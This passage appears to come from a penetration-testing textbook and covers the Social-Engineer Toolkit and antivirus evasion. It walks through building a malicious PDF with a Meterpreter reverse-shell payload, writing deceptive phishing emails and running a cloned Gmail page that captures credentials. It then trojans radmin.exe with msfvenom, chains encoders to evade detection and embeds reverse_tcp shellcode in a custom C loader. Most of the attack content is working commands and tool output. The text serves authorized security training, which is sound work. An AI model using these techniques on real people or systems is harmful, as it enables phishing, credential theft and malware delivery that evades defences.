FileFormat Payload v, lets us create a malicious file with a Metasploit payload.
The third option allows us to create a new email template w to be used in
SET attacks.
Choose option 1 to create an email attack. (We’ll have the option to send a single email or mass email later.)

Choosing a Payload
Now to choose a payload. A selection of payload options is shown in
Listing 11-4.
********** PAYLOADS **********
1) SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)
--snip-12) Adobe util.printf() Buffer Overflow u
--snip-20) MSCOMCTL ActiveX Buffer Overflow (ms12-027) set:payloads> 12
Listing 11-4: Choose a spear-phishing attack

For example, to re-create our PDF attack from Chapter 10, choose option 12: Adobe util.printf() Buffer Overflow u. (SET includes many
Metasploit attacks, as well as its own, specific attacks.)
You should be prompted to choose a payload for your malicious file
(see Listing 11-5).
1) Windows Reverse TCP Shell
2) Windows Meterpreter Reverse_TCP

--snip-set:payloads> 2
Listing 11-5: Choose a payload

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Spawn a command shell on victim and send back to attacker
Spawn a meterpreter shell on victim and send back to attacker u

The usual suspects are all here, including windows/meterpreter/reverse_tcp, which appears in a more human-readable form as Windows Meterpreter Reverse_
TCP u. We’ll choose this option for our sample attack.

Setting Options
SET should prompt for the relevant options for the payload, in this case the
LHOST and LPORT. If you’re not very familiar with Metasploit, just answer the prompts to set the correct options automatically, as shown in Listing 11-6.
Set the payload listener to the IP address of Kali Linux. Leave the port to connect back on to the default (443). set> IP address for the payload listener: 192.168.20.9 set:payloads> Port to connect back on [443]:
[-] Defaulting to port 443...
[-] Generating fileformat exploit...
[*] Payload creation complete.
[*] All payloads get sent to the /usr/share/set/src/program_junk/template.pdf directory [-] As an added bonus, use the file-format creator in SET to create your attachment. Listing 11-6: Setting options

Naming Your File
Next you should be prompted to name your malicious file.
Right now the attachment will be imported with filename of 'template.whatever'
Do you want to rename the file? example Enter the new filename: moo.pdf
1. Keep the filename, I don't care.
2. Rename the file, I want to be cool. u set:phishing> 2 set:phishing> New filename: bulbsecuritysalaries.pdf
[*] Filename changed, moving on...

Select option 2 u to rename the malicious PDF, and enter the filename bulbsecuritysalaries.pdf. SET should continue.

Single or Mass Email
Now to decide whether to have SET send our malicious file to a single email address or a list of addresses, as shown in Listing 11-7.

Social Engineering 247

Social Engineer Toolkit Mass E-Mailer
What do you want to do:
1. E-Mail Attack Single Email Address u
2. E-Mail Attack Mass Mailer v
99. Return to main menu. set:phishing> 1
Listing 11-7: Choosing to perform a single email address attack

Choose the single email address option u for now. (We’ll look at sending mass email v in “Mass Email Attacks” on page 253.)

Creating the Template
When crafting the email, we can use one of SET’s email templates or enter text for one-time use in the template. In addition, if you choose Create a
Social-Engineering Template, you can create a template that you can reuse.
Many of my social engineering customers like me to use fake emails that appear to come from a company executive or the IT manager, announcing new website functionality or a new company policy. Let’s use one of
SET’s email templates as an example to fake this email now, as shown in
Listing 11-8; we’ll create our own email later in the chapter.
Do you want to use a predefined template or craft a one time email template. 1. Pre-Defined Template
2. One-Time Use Email Template set:phishing> 1
[-] Available templates:
1: Strange internet usage from your computer
2: Computer Issue
3: New Update
4: How long has it been
5: WOAAAA!!!!!!!!!! This is crazy...
6: Have you seen this?
7: Dan Brown's Angels & Demons
8: Order Confirmation
9: Baby Pics
10: Status Report set:phishing> 5
Listing 11-8: Choosing an email template

Choose 1 for Pre-Defined Template, then choose template 5.

Setting the Target
Now SET should prompt you for your target email address and a mail server for use in delivering the attack email. You can use your own mail server, one
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that is misconfigured to allow anyone to send mail (called an open relay), or a Gmail account, as shown in Listing 11-9. Let’s use Gmail for this attack by choosing option 1. set:phishing> Send email to: georgia@metasploit.com
1. Use a gmail Account for your email attack.
2. Use your own server or open relay set:phishing> 1 set:phishing> Your gmail email address: georgia@bulbsecurity.com set:phishing> The FROM NAME user will see: Georgia Weidman
Email password: set:phishing> Flag this message/s as high priority? [yes|no]: no
[!] Unable to deliver email. Printing exceptions message below, this is most likely due to an illegal attachment. If using GMAIL they inspect PDFs and is most likely getting caught. u
[*] SET has finished delivering the emails
Listing 11-9: Sending email with SET

When prompted, enter the email address and password for your Gmail account. SET should attempt to deliver the message. But as you can see in the message at the bottom of the listing, Gmail inspects attachments and catches our attack u.
That’s just a first attempt, of course. You may get better results using your own mail server or your client’s mail server, if you can gather or guess the credentials.
Of course, in this example, I’m just sending emails to myself. We looked at tools such as theHarvester to find valid email addresses to target in Chapter 5.

Setting Up a Listener
We can also have SET set up a Metasploit listener to catch our payload if anyone opens the email attachment. Even if you’re not familiar with
Metasploit syntax, you should be able to use SET to set up this attack based on the options we chose in “Setting Options” on page 247. You can see that SET uses a resource file to automatically set the payload, LHOST, and
LPORT options based on our previous answers when building the payload
(see Listing 11-10). set:phishing> Setup a listener [yes|no]: yes
Easy phishing: Set up email templates, landing pages and listeners in Metasploit Pro's wizard -- type 'go_pro' to launch it now.
=[ metasploit v4.8.2-2014010101 [core:4.8 api:1.0]
+ -- --=[ 1246 exploits - 678 auxiliary - 198 post
+ -- --=[ 324 payloads - 32 encoders - 8 nops
[*] Processing src/program_junk/meta_config for ERB directives. resource (src/program_junk/meta_config)> use exploit/multi/handler
Social Engineering 249

resource (src/program_junk/meta_config)> set PAYLOAD windows/meterpreter/ reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp resource (src/program_junk/meta_config)> set LHOST 192.168.20.9
LHOST => 192.168.20.9 resource (src/program_junk/meta_config)> set LPORT 443
LPORT => 443
--snip-resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job. msf exploit(handler) >
[*] Started reverse handler on 192.168.20.9:443
[*] Starting the payload handler...
Listing 11-10: Setting up a listener

Now we wait for a curious user to open our malicious PDF and send us a session. Use ctrl-C to close the listener and type exit to move back to the previous menu. Option 99 will take you back to SET’s Social-Engineering
Attacks menu.

Web Attacks
In this section we’ll look at web-based attacks. Return to the SocialEngineering Attacks menu (Listing 11-2), and choose option 2 (Website
Attack Vectors). This is the sort of attack that I use most often in pentests that have a social-engineering component because it emulates many socialengineering attacks seen in the wild.
You should be presented with a list of web-based attacks as shown in
Listing 11-11.
1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
--snip-99) Return to Main Menu set:webattack> 3
Listing 11-11: SET website attacks

Here’s a description of some of the attacks:
•
•

250 Chapter 11

The Java Applet Attack Method automates the Java-signed applet attack we used in Chapter 10.
The Metasploit Browser Exploit Method allows you to use all of
Metasploit’s browser-exploitation client-side attacks without having to set parameters manually, by knowing Metasploit syntax.

•

The Credential Harvester Attack Method helps create websites to trick users into giving up their credentials.
The Tabnabbing Attack Method relies on users’ propensity to build up a collection of open browser tabs. When the user first opens the attack page, it says “Please wait.” Naturally, the user switches back to another tab while he waits. Once the attack tab is no longer in focus, it loads the attack site (which can be a clone of any website you like), with the goal of tricking the user into supplying his credentials or otherwise interacting with the malicious site. The assumption is that the user will use the first tab he encounters that looks legitimate.

•

Choose option 3, the Credential Harvester Attack Method.
Next you should see a prompt asking what sort of website you would like. We can choose from some prebuilt web templates, clone a website from the Internet with Site Cloner, or import a custom web page with Custom
Import. Choose option 1 to use a SET template (see Listing 11-12).
1) Web Templates
2) Site Cloner
3) Custom Import
--snip-99) Return to Webattack Menu set:webattack> 1
Listing 11-12: SET website template options

Now enter the IP address for the website to post credentials back to. We can just use the local IP address for the Kali virtual machine, but if you use this attack against a client, you will need an Internet-facing IP address.
IP Address for the POST back in Harvester: 192.168.20.9

Now choose a template. Because we want to trick users into entering their credentials, choose a template with a login field, such as Gmail
(option 2), as shown in Listing 11-13. SET should now start a web server with our fake Gmail page, a clone of the actual Gmail page.
1.
2.
3.
4.
5.
6.

Java Required
Gmail
Google
Facebook
Twitter
Yahoo

set:webattack> Select a template: 2
[*] Cloning the website: https://gmail.com
[*] This could take a little bit...

Social Engineering 251

The are [*]
[*]
[*]

best way to use this attack is if the username and password form fields available. Regardless, this captures all POSTs on a website.
The Social-Engineer Toolkit Credential Harvester Attack
Credential Harvester is running on port 80
Information will be displayed to you as it arrives below:

Listing 11-13: Setting up the site

Now browse to the cloned Gmail site at the Kali Linux web server and enter some credentials to see how this works. After entering credentials you should be redirected to the real Gmail site. To a user it will just seem like he typed in his password incorrectly. In the meantime, back in SET, you should see a result that looks something like Listing 11-14.
192.168.20.10 - - [10/May/2015 12:58:02] "GET / HTTP/1.1" 200 [*] WE GOT A HIT! Printing the output:
PARAM: ltmpl=default
--snip-PARAM: GALX=oXwT1jDgpqg
POSSIBLE USERNAME FIELD FOUND: Email=georgiau
POSSIBLE PASSWORD FIELD FOUND: Passwd=passwordv
--snip-PARAM: asts=
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.
Listing 11-14: SET capturing credentials

When the user submits the page, SET highlights the fields that it thinks are interesting. In this case, it found the Email u and Passwd v that were submitted. Once you shut down the web server with ctrl-C to end the web attack, the results should be written to a file.
When combined with the email attack discussed next, this is a great attack to use to gather credentials for a pentest or, at the very least, test the security awareness of your client’s employees.
Note that this attack can be even more interesting if you use option 5,
Site Cloner, to make a copy of your customer’s site. If they do not have a page with a login form of some sort (VPN, webmail, blogging, and so on) you can even create one. Clone their site, and add a simple HTML form like this:
<form name="input" action=“index.html" method="post">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="pwd"><br>
<input type="submit" value="Submit"><br>
</form>

Then use option 3, Custom Import, to have SET serve your modified page.

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Mass Email Attacks
Now to use SET to automate phishing email attacks. Create a file and enter a few email addresses, one per line, as shown here. root@kali:~# cat emails.txt georgia@bulbsecurity.com georgia@grmn00bs.com georgia@metasploit.com Now return to the main SET Social-Engineering Attacks menu with option 99 (List­ ng 11-2) and choose option 5, Mass Mailer Attack. Large cari bon copy or blind carbon copy lists can trigger spam filters or tip off users that something is amiss, and emailing a long list of client employees individually by hand can be tedious, so we’ll use SET to email multiple addresses
(see Listing 11-15). Scripts are good for repetitive tasks like this. set> 5
1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer
--snip-99. Return to main menu. set:mailer> 2
--snip-set:phishing> Path to the file to import into SET: /root/emails.txtu
Listing 11-15: Setting up an email attack

Choose option 2 and enter the name of the email address file to import u.
Next we need to choose a server (see Listing 11-16). Let’s use Gmail again—option 1. When prompted, enter your credentials.
1. Use a gmail Account for your email attack.
2. Use your own server or open relay set:phishing> 1 set:phishing> Your gmail email address: georgia@bulbsecurity.com set:phishing> The FROM NAME the user will see: Georgia Weidman
Email password: set:phishing> Flag this message/s as high priority? [yes|no]: no
Listing 11-16: Logging in to Gmail

You should be asked to create the email to send, as shown in Listing 11-17. set:phishing> Email subject: Company Web Portal set:phishing> Send the message as html or plain? 'h' or 'p': hu
[!] IMPORTANT: When finished, type END (all capital) then hit {return} on a new line. set:phishing> Enter the body of the message, type END (capitals) when finished: All

Social Engineering 253

Next line of the body:
Next line of the body: We are adding a new company web portal. Please go to <a href=
"192.168.20.9">http://www.bulbsecurity.com/webportal</a> and use your Windows domain credentials to log in.
Next line of the body:
Next line of the body: Bulb Security Administrator
Next line of the body: END
[*] Sent e-mail number: 1 to address: georgia@bulbsecurity.com
[*] Sent e-mail number: 2 to address: georgia@grmn00bs.com
[*] Sent e-mail number: 3 to address: georgia@metasploit.com
[*] Sent e-mail number: 4 to address:
[*] SET has finished sending the emails
Press <return> to continue
Listing 11-17: Sending the email

When asked whether to make the email plaintext or HTML, choose h for HTML u. By using HTML for the email, we’ll be better able to hide the real destination of the links in the email behind graphics and such.
Now to enter the text for the email. Because we chose HTML as the email format, we can use HTML tags in our email. For example, this code creates a link for the recipient to click: <a href="192.168.20.9">http://www
.bulbsecurity.com/webportal</a>. The text displayed indicates that the link goes to http://www.bulbsecurity.com/webportal, but the link will really open
192.168.20.9 in the browser. We control the website at 192.168.20.9, so we can put a browser exploit or a phishing attack there. Add some text to the email to convince users to click the included link. This is where you can be particularly creative. For example, in Listing 11-17, we inform the users that a new company portal has been added, and they should log in with their domain credentials to check it out. On a pentest, a better way to approach this would be to register a variation of the company’s domain name
(bulb-security.com) or perhaps use a slight misspelling (bulbsecurty.com) that is likely to go unnoticed by users and host your social-engineering site there.
After you finish the email, press ctrl-C to send it. The email will be sent to each address in the emails.txt file we entered earlier.
Recipients will see this email:
All,
We are adding a new company web portal. Please go to http:// www.bulbsecurity.com/webportal and use your Windows domain credentials to log in.
Bulb Security Administrator

While a security-savvy user should know better than to click links in emails that are not from a trusted source, and would know how to verify where a link points to before clicking it, not all users are that savvy, and even the savvy ones aren’t always paying attention. In fact, I have never launched a social-engineering test that failed.

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Multipronged Attacks
Let’s combine our previous two attacks (credential harvesting and phishing emails) to trick employees into submitting their credentials to a pentestercontrolled site. We’ll use an email attack together with a web attack to send users to our attacker-controlled site by tricking them into clicking links in the emails.
But first we need to change an option in SET’s configuration file. In
Kali this file is at /usr/share/set/config/set_config. The option to change is
WEB_ATTACK_EMAIL, which by default is set to OFF. Open the config file in a text editor and change this option to ON.
### Set to ON if you want to use Email in conjunction with webattack
WEBATTACK_EMAIL=ON

Now try running the Credential Harvesting attack again. Instead of using a template, you can clone one of your client’s web pages if they have a login site, such as webmail or an employee portal. If the client uses a web page and not a login site, use the Custom Import option to build your own page that looks like the employee’s web page with a login form added.

Summary
In this chapter we’ve looked at only a couple of social-engineering attacks that we can automate with SET. The scripts for your attacks will change based on your clients’ needs. Some clients may have a specific attack scenario in mind, or you may find the need to run multiple attacks at once. For instance, you may create a multipronged attack where you harvest credentials and the malicious website runs a malicious Java applet. In addition to the web-based attacks and malicious files we looked at here, SET can create other attacks, such as USB sticks, QR codes, and rogue wireless access points. Social Engineering 255

12

B yp a s s i n g A n t i v i r u s
App l i c a t i o n s

Your pentesting clients will most likely be running some sort of antivirus solution. So far in this book we’ve avoided having any of our malicious executables deleted by antivirus applications, but antivirus program avoidance is a constantly changing field. Typically you will be more likely to avoid detection by using a memory-corruption exploit and loading your payload directly into memory—that is, by never touching the disk. That said, with the attack landscape shifting to emphasize clientside and social-engineering attacks, it may not always be possible to avoid writing your payload to disk. In this chapter we’ll look at a few techniques for obscuring our malware to try to avoid detection when the payload is written to the disk.

Trojans
In Chapter 4, we created a standalone malicious executable that runs a
Metasploit payload. Though we may be able to use social engineering to trick a user into downloading and running our malicious file, the lack of any functionality other than our executable’s payload could tip off users that something is amiss. We’d be much more likely to evade detection if we could hide our payload inside of some legitimate program that would run normally, with our payload running in the background. Such a program is called a trojan, after the legendary wooden horse that ended the Trojan
War. The horse appeared to be an innocuous offering to the gods and was brought inside the previously impenetrable walled city of Troy, with enemy soldiers hiding inside, ready to attack.
We encountered a trojan in Chapter 8: The Vsftpd server on our Ubuntu target had a backdoor that could be triggered at login by entering a smiley face as part of the username. Attackers compromised the source code repositories for Vsftpd and added additional trojan functionality to the program.
Anyone who downloaded Vsftpd from the official repositories between the initial compromise and detection ended up with a trojaned version.

Msfvenom
Although reverse-engineering binaries or gaining access to source code and manually adding trojan code is beyond the scope of this book, the
Msfvenom tool has some options we can use to embed a Metasploit payload inside a legitimate binary. Listing 12-1 shows some important options we have not encountered previously in the text. root@kali:~# msfvenom -h
Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val>
Options:
-p, --payload

[payload]

Payload to use. Specify a '-' or stdin to use custom payloads

--snip-u-x, --template

[path]

Specify a custom executable file to use as a template
Preserve the template behavior and inject the payload as a new thread

v-k, --keep
--snip-Listing 12-1: Msfvenom help page

In particular, the -x flag u allows us to use an executable file as a template in which to embed our chosen payload. However, though the resulting executable will look like the original one, the added payload will pause the execution of the original, and we shouldn’t expect a user to run

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an executable that appears to hang at startup very many times. Luckily,
Msfvenom’s -k flag v will keep the executable template intact and run our payload in a new thread, allowing the original executable to run normally.
Let’s use the -x and -k flags to build a trojaned Windows executable that will appear normal to a user but which will send us a Meterpreter session in the background. To do so, we choose the payload with the -p flag and set the relevant payload options as in Chapter 4. Any legitimate executable will do; you’ll find some useful Windows binaries for pentesting in Kali
Linux at /usr/share/windows-binaries.
To embed our payload inside the radmin.exe binary enter: root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9
LPORT=2345 -x /usr/share/windows-binaries/radmin.exe -k -f exe > radmin.exe

Our Msfvenom command specifies the payload to generate with the
-p option. We set the LHOST option to the IP address of Kali, the system to call back to when the payload runs. We can also set the LPORT option. As discussed in this section, the -x option selects an executable in which to embed our payload. The -k option runs the payload in a separate thread.
The -f flag tells Msfvenom to build the payload in the executable format.

Once created, run the trojaned binary on either the Windows XP or
Windows 7 target. The Radmin Viewer program should appear to run normally (Figure 12-1), but the embedded payload should give us a Meter­ preter session if we set up a handler using the multi/handler module.

Figure 12-1: Trojaned Radmin Viewer executable

Bypassing Antivirus Applications 259

Checking for T roja ns w ith the MD5 H a sh
Our trojaned binary should convince the average user that the program is legitimate. Security-savvy users should verify the integrity of a downloaded file before running it by checking its MD5 hash against the value published by the vendor, where available. An MD5 hash is a kind of file fingerprint; if changes are made to the file, the MD5 hash will change.
Let’s compare the MD5 hashes of the original radmin.exe with our trojaned version. In Kali Linux, the md5sum program will calculate a file’s MD5 hash. Run md5sum on both binaries, and you’ll find that the hash values are dramatically different, as you can see here at u and v. root@kali:~# md5sum /usr/share/windows-binaries/radmin.exe u2d219cc28a406dbfa86c3301e8b93146 /usr/share/windows-binaries/radmin.exe root@kali:~# md5sum radmin.exe

v4c2711cc06b6fcd300037e3cbdb3293b radmin.exe
However, the MD5 hashing algorithm is not perfect, and a tampered binary could have the same MD5 hash as the original file, which is known as an MD5 collision attack. For this reason, many vendors publish a Secure Hash
Algorithm (SHA) hash as well.
Of course, checking two separate hash values is better than checking one.
The SHA family contains multiple hashing algorithms, and the version used will vary among vendors. Kali comes with programs for various SHA hashes. For example, sha512sum calculates the 64-bit block size SHA-2 hash, as shown here. root@kali:~# sha512sum /usr/share/windows-binaries/radmin.exe
5a5c6d0c67877310d40d5210ea8d515a43156e0b3e871b16faec192170acf29c9cd4e495d2e03b8d
7ef10541b22ccecd195446c55582f735374fb8df16c94343 /usr/share/windows-binaries/ radmin.exe root@kali:~# sha512sum radmin.exe f9fe3d1ae405cc07cd91c461a1c03155a0cdfeb1d4c0190be1fb350d43b4039906f8abf4db592b060 d5cd15b143c146e834c491e477718bbd6fb9c2e96567e88 radmin.exe

When installing software, be sure to calculate the hash(es) of your downloaded version, and compare it to the value(s) published by the vendor.

How Antivirus Applications Work
Before we try different techniques to get our Metasploit payloads past an antivirus program, let’s discuss how these programs work. Most antivirus solutions start by comparing potentially dangerous code to a set of patterns and rules that make up the antivirus definitions, which match known malicious code. Antivirus definitions are updated regularly as new malware is identified by each vendor. This sort of identification is called static analysis.

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In addition to static analysis against a set of signatures, more advanced antivirus solutions also test for malicious activity, called dynamic analysis. For example, a program that tries to replace every file on the hard drive or connects to a known botnet command and control server every 30 seconds is exhibiting potentially malicious activity and may be flagged.
Note

Some antivirus products, such as Google’s Bouncer, run new apps that are uploaded to the Google Play store and pass static analysis in an isolated sandbox to try to detect malicious activity that doesn’t have a known malicious signature.

Microsoft Security Essentials
As we use different methods in this section to bring down our detection rate, keep in mind that even if you not able to get a 0 percent detection rate among all antivirus vendors, if you know which antivirus solution is deployed in your client’s environment, you can focus your efforts on clearing just that antivirus program. In this chapter, we will try to bypass
Microsoft Security Essentials using various methods.
When we created our Windows 7 target in Chapter 1, we installed
Microsoft Security Essentials, but we didn’t turn on real-time protection to scan files as they are downloaded or installed. Now let’s turn on this protection to see if we can create an undetectable trojan. Open Microsoft Security
Essentials, select the Settings tab, choose Real-time protection, and check the box to turn on the service, as shown in Figure 12-2. Click Save changes.

Figure 12-2: Microsoft Security Essentials real-time protection

Bypassing Antivirus Applications 261

As of this writing, even free antivirus solutions like Microsoft Security
Essentials do a good job of catching Metasploit payloads. For a real test, try installing the trojaned radmin.exe with real-time protection turned on. You should see a pop-up at the bottom-right corner of the screen, like the one shown in Figure 12-3. The file is automatically deleted before the user can run it—that certainly puts a damper on things.

Figure 12-3: Malicious software detected

VirusTotal
One way to see which antivirus solutions will flag a program as malicious is to upload the file in question to the VirusTotal website (https://www.virustotal
.com/). As of this writing, VirusTotal scans uploaded files with 51 antivirus programs and reports which ones detect malware. VirusTotal is shown in
Figure 12-4.

Figure 12-4: VirusTotal

To see which antivirus programs detect our trojaned radmin.exe as currently written, upload the file to VirusTotal and click Scan it!. Because antivirus definitions are constantly updated, your results will differ, but as you can see in Fig­ re 12-5, 25 of 51 scanners detected our file as malicious. u (The bottom of the page shows which scanners detected the malware.)
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Figure 12-5: Trojaned binary antivirus detection

Note

VirusTotal shares uploaded binaries with antivirus vendors so they can write signatures to match. Antivirus companies use VirusTotal signatures to improve their detection engines, so anything you upload to the site may be caught by antivirus software just because you uploaded it. To avoid that risk, you can install the antivirus product on a virtual machine and test your trojans manually against it, as we did in the previous section.

Getting Past an Antivirus Program
Clearly if we want to get past antivirus solutions, we need to try harder to hide. Let’s look at some other useful ways to hide our Metasploit payloads besides simply placing them inside of an executable.

Encoding
Encoders are tools that allow you to avoid characters in an exploit that would break it. (You’ll learn more about these requirements when we write our own exploits in Chapters 16 through 19.) At the time of this writing,
Metasploit supports 32 encoders. Encoders mangle the payload and prepend decoding instructions to be executed in order to decode the payload before it is run. It is a common misperception that Metasploit’s encoders were designed to help bypass antivirus programs. Some Metasploit encoders create polymorphic code, or mutating code, which ensures that the encoded payload looks different each time the payload is generated. This process makes it more difficult for antivirus vendors to create signatures for the payload, but as we will see, it is not enough to bypass most antivirus solutions. Bypassing Antivirus Applications 263

To list all of the encoders available in Msfvenom, use the -l encoders option, as shown in Listing 12-2. root@kali:~# msfvenom -l encoders
Framework Encoders
==================
Name
---cmd/generic_sh
cmd/ifs
--snip—
ux86/shikata_ga_nai
--snip--

Rank
---good
low

Description
----------Generic Shell Variable Substitution Command Encoder
Generic ${IFS} Substitution Command Encoder

excellent

Polymorphic XOR Additive Feedback Encoder

Listing 12-2: Msfvenom encoders

The only encoder with an excellent rank is x86/shikata_ga_nai u.
Shikata Ga Nai is Japanese for “It can’t be helped.” Encoder rankings are based on the entropy level of the output. With shikata_ga_nai, even the decoder stub is polymorphic. The nitty-gritty details of how this encoder works are beyond the scope of this book, but suffice it to say that it mangles payloads beyond easy recognition.
Tell Msfvenom to use the shikata_ga_nai encoder with the -e flag, as shown in Listing 12-3. Additionally, for further obfuscation, we’ll run our payload through an encoder multiple times, encoding the output from the previous round with the -i flag and specifying the number of encoding rounds (10 in this case). root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9
LPORT=2345 -e x86/shikata_ga_nai -i 10 -f exe > meterpreterencoded.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
--snip-[*] x86/shikata_ga_nai succeeded with size 533 (iteration=9)
[*] x86/shikata_ga_nai succeeded with size 560 (iteration=10)
Listing 12-3: Creating an encoded executable with Msfvenom

Now upload the resulting binary to VirusTotal. As you can see in Fig­ ure 12-6, 35 of the tested antivirus products detected our payload, even with the encoding. That’s a higher detection rate than we found when embedding our payload inside a prebuilt executable. In other words, shikata_ga_nai alone doesn’t do the trick.

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Figure 12-6: VirusTotal results for an encoded binary

To see if we can improve our results, we can try experimenting with using multiple Metasploit encoders on our payload. For example, we can combine multiple rounds of shikata_ga_nai with another Metasploit encoder, x86/bloxor, as shown in Listing 12-4. root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9
LPORT=2345 -e x86/shikata_ga_nai -i 10 -f rawu > meterpreterencoded.binv
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
--snip-[*] x86/shikata_ga_nai succeeded with size 560 (iteration=10) root@kali:~# msfvenom -p -w -f exe -a x86x --platform windowsy -e x86/bloxor
-i 2 > meterpretermultiencoded.exe < meterpreterencoded.binz
[*] x86/bloxor succeeded with size 638 (iteration=1)
[*] x86/bloxor succeeded with size 712 (iteration=2)
Listing 12-4: Multiencoding with Msfvenom

This time, we start out with Msfvenom using the windows/meterpreter/ reverse_tcp payload as usual and encode it with shikata_ga_nai, as in the previous example. However, instead of setting the format to .exe, we output in raw format u. Also, instead of outputting the results to an .exe file as we did previously, this time we output the raw bytes into a .bin file v.

Bypassing Antivirus Applications 265

Now we take the results of the shikata_ga_nai encoding and encode it with the x86/bloxor encoder. Our syntax for Msfvenom will differ from what we are used to. First, we set the payload to null with the option -p - w. And, because we are not setting a payload, we need to tack on two new options to tell Msfvenom how to encode our input: -a x86 x to specify the architecture as 32 bit, and --platform windows y to specify the Windows platform. Finally, at the end of the Msfvenom command, we use the < symbol to pipe the .bin file from the previous command as input into Msfvenom z. The resulting executable will be encoded with shikata_ga_nai and x86/bloxor.
The resulting executable is detected by 33 antivirus programs on
VirusTotal as of this writing—slightly better than shikata_ga_nai by itself.
You may be able to improve your results by experimenting with different sets of encoders and chaining more than two encoders together, or by combining techniques. For example, what if we both embed our payload in a binary and encode it with shikata_ga_nai as shown here? root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9
LPORT=2345 -x /usr/share/windows-binaries/radmin.exe -k -e x86/shikata_ga_nai
-i 10 -f exe > radminencoded.exe

This gave only a slight improvement: The payload was detected by
21 antivirus programs. And, unfortunately, Microsoft Security Essentials flagged both executables as malicious, as shown in Figure 12-7. We need to look beyond Metasploit encoders if we’re going to get past antivirus detection on our Windows 7 target.

Figure 12-7: Microsoft is still flagging this binary as malicious.

Custom Cross Compiling
As the de facto standard for penetration testing, Metasploit gets a fair amount of attention from antivirus vendors who make detecting the signatures for payloads generated by Msfvenom a priority. When Msfvenom creates an executable, it uses prebuilt templates that antivirus vendors can use to build detection signatures.
Perhaps we can improve our ability to bypass antivirus solutions by compiling an executable ourselves using raw shellcode. Let’s start with a simple

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C template, as shown in Listing 12-5. (We discussed the basics of C programming in Chapter 3. Review that section if this program doesn’t make sense to you.) Save this code to a file called custommeterpreter.c.
#include <stdio.h> unsigned char random[]= u unsigned char shellcode[]= v int main(void) w
{
((void (*)())shellcode)();
}
Listing 12-5: Custom executable template

We need to fill in data for the variables random u and shellcode v, which are both unsigned character arrays. Our hope is that adding some randomness and compiling our own C code will be enough to trick antivirus programs. The random variable will introduce some randomness to the template.
The shellcode variable will hold the raw hexadecimal bytes of the payload we create with Msfvenom. The main function w runs when our compiled C program starts and executes our shellcode.
Create your payload in Msfvenom as usual, except this time set the format with the -f flag to c, as shown in Listing 12-6. This will create hex bytes that we can drop into our C file. root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9
LPORT=2345 -f c -e x86/shikata_ga_nai -i 5 unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
--snip-"\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6"
"\x85\xf6\x75\xec\xc3";
Listing 12-6: Creating a raw payload in C format

Finally, we need to add some randomness. A good place to find randomness on a Linux system is in the /dev/urandom file. This file is specifically designed as a pseudorandom number generator; it generates data using entropy in the Linux system.
But if we just cat out data from /dev/urandom, we’ll get a lot of unprintable characters. To get the proper data for a character array, we’ll use the tr
Linux utility to translate the /dev/urandom data to printable characters. Use tr -dc A-Z-a-z-0-9, and then pipe the commands into the head command to output only the first 512 characters from /dev/urandom, as shown here. root@kali:~# cat /dev/urandom | tr -dc A-Z-a-z-0-9 | head -c512 s0UULfhmiQGCUMqUd4e51CZKrvsyIcLy3EyVhfIVSecs8xV-JwHYlDgfiCD1UEmZZ2Eb6G0no4qjUI IsSgneqT23nCfbh3keRfuHEBPWlow5zX0fg3TKASYE4adL
--snip-Bypassing Antivirus Applications 267

Now drop the data from /dev/urandom into the random variable in the
C file. The finished file is shown in Listing 12-7. (Of course, your randomness and encoded payload will differ.) Be sure to surround the string with quotes and use a semicolon (;) at the end.
#include <stdio.h> unsigned char random[]= "s0UULfhmiQGCUMqUd4e51CZKrvsyIcLy3EyVhfIVSecs8xV-JwHYlDgfiCD1UEmZZ2Eb6G
0no4qjUIIsSgneqT23nCfbh3keRfuHEBPWlow5zX0fg3TKASYE4adLqB-3X7MCSL9SuqlChqT6zQkoZNvi9YEWq4ec8
-ajdsJW7s-yZOKHQXMTY0iuawscx57e7Xds15GA6rGObF4R6oILRwCwJnEa-4vrtCMYnZiBytqtrrHkTeNohU4gXcVIem
-lgM-BgMREf24-rcW4zTi-Zkutp7U4djgWNi7k7ULkikDIKK-AQXDp2W3Pug02hGMdP6sxfR0xZZMQFwEF-apQwMlog4Trf
5RTHFtrQP8yismYtKby15f9oTmjauKxTQoJzJD96sA-7PMAGswqRjCQ3htuWTSCPleODITY3Xyb1oPD5wt-G1oWvavrpewe
LERRN5ZJiPEpEPRTI62OB9mIsxex3omyj10bEha43vkerbN0CpTyernsK1csdLmHRyca";
unsigned char shellcode[]= "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
